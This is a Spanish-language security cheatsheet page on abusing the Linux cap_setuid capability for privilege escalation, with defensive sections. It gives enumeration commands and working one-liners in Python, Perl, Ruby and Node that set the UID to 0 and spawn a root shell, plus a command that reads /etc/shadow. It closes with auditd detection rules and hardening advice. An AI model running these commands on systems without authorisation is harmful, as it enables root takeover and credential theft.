cap_setuid capability abuse
Arsenal completo de comandos en la cheatsheetLas Linux capabilities dividen los privilegios de root en porciones asignables a binarios concretos, para no tener que darles el SUID root completo. La capability cap_setuid concede una de esas piezas: permite al proceso cambiar su UID a cualquier valor, incluido 0, sin ser root. Sobre un intérprete de propósito general (Python, Perl, Ruby, Node...) esto es equivalente a un SUID root, porque el intérprete puede llamar a setuid(0) y luego lanzar una shell.
Enumeración
Las capabilities no aparecen en sudo -l ni entre los SUID clásicos (find / -perm -4000), por eso se pasan por alto. Se enumeran con getcap:
getcap -r / 2>/dev/null
# /usr/bin/python3.10 cap_setuid=ep/usr/sbin/getcap -r / 2>/dev/null # ruta absoluta si getcap no esta en PATH
getcap $(which python3 perl ruby node php) 2>/dev/nullEl sufijo =ep significa effective + permitted: la capability está activa. linpeas y pspy también las reportan, pero getcap -r / es la vía directa.
Explotación
Fijar el UID a 0 y abrir una shell. El one-liner varía según el intérprete que porte la capability:
# Python
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# Ruby
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# Node
/usr/bin/node -e 'process.setuid(0); require("child_process").spawnSync("/bin/bash",{stdio:[0,1,2]})'El mismo enfoque sirve para otras capabilities peligrosas: cap_dac_read_search (leer cualquier fichero saltándose permisos, p. ej. /etc/shadow con python -c 'print(open("/etc/shadow").read())'), cap_dac_override (leer y escribir cualquier fichero, se reescribe /etc/passwd o /etc/shadow), cap_sys_admin (casi todo) o cap_sys_ptrace (inyección en procesos root, ver abuso de cap_sys_ptrace). GTFOBins documenta el vector concreto por binario.
Requisitos
La capability debe ser effective o al menos permitted (ep/p) sobre un binario que ejecute código controlable por el atacante: un intérprete, o un binario que lance un comando manipulable. Un binario que solo use la capability para una acción fija (un servicio que baja de privilegios) no siempre es explotable.
Cómo detectarlo. La firma es una llamada setuid(0) (o setresuid) desde un proceso no root seguida de la ejecución de una shell, algo que un binario legítimo con cap_setuid no hace: auditd sobre las syscalls setuid/execve (-a always,exit -F arch=b64 -S setuid -S setresuid) o Sysmon for Linux capturan al intérprete cambiando de UID y lanzando bash. En reposo, un inventario periódico de getcap -r / que aparezca de golpe con una capability sobre python/perl/ruby es un indicador de puerta trasera. El linaje python3 -> bash con transición de UID 1000 a 0 es la prueba.
Defensa. Asignar capabilities únicamente a binarios que las necesiten de verdad y nunca a intérpretes; revisar periódicamente getcap -r /; quitar la capability con setcap -r <binario> cuando ya no haga falta. Relacionado con el abuso de binarios SUID y otras vías de privilegios en Linux.